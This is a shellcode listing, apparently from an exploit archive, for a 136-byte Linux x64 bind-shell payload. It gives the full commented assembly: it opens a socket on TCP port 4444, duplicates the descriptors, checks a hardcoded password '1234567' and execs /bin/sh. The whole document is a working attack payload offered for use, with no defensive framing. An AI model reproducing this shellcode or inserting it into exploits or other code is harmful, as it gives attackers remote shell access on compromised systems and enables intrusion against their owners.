Linux/x64 Bind TCP (4444/TCP) Shell (/bin/sh) + Password (1234567) Shellcode

136 bytes small Linux/x64 bind TCP (4444/TCP) shell (/bin/sh) + password (1234567) shellcode.


MD5 | d05f6f0b7a7909402854121ee144dd64

global _start

_start:

; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41

push 41
pop rax
push 2
pop rdi
push 1
pop rsi
cdq
syscall

; copy socket descriptor to rdi for future use

xchg rdi,rax

; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)

push rdx
mov dx,0x5c11
shl rdx,16
xor dl,0x2
push rdx

; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49

mov rsi, rsp
mov al,49
push 16
pop rdx
syscall

; listen(sock, MAX_CLIENTS)
; syscall number 50

push 50
pop rax
push 2
pop rsi
syscall

; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43

mov al,43
sub rsp,16
mov rsi,rsp
push 16
mov rdx,rsp
syscall

; close parent
;push 3
;pop rax
;syscall

; duplicate sockets

; dup2 (new, old)
xchg rdi,rax
push 3
pop rsi
dup2cycle:
mov al, 33
dec esi
syscall
loopnz dup2cycle

; read passcode
; xor rax,rax - already zeroed from prev cycle
xor rdi,rdi
push rax
mov rsi,rsp
push 8
pop rdx
syscall

; Authentication with password "1234567"
xchg rcx,rax
mov rbx,0x0a37363534333231
push rbx
mov rdi,rsp
repe cmpsb
jnz wrong_pwd

; execve stack-method

push 59
pop rax
cdq ; extends rax sign into rdx, zeroing it out
push rdx
mov rbx,0x68732f6e69622f2f
push rbx
mov rdi,rsp
push rdx
mov rdx,rsp
push rdi
mov rsi,rsp
syscall

wrong_pwd:
nop


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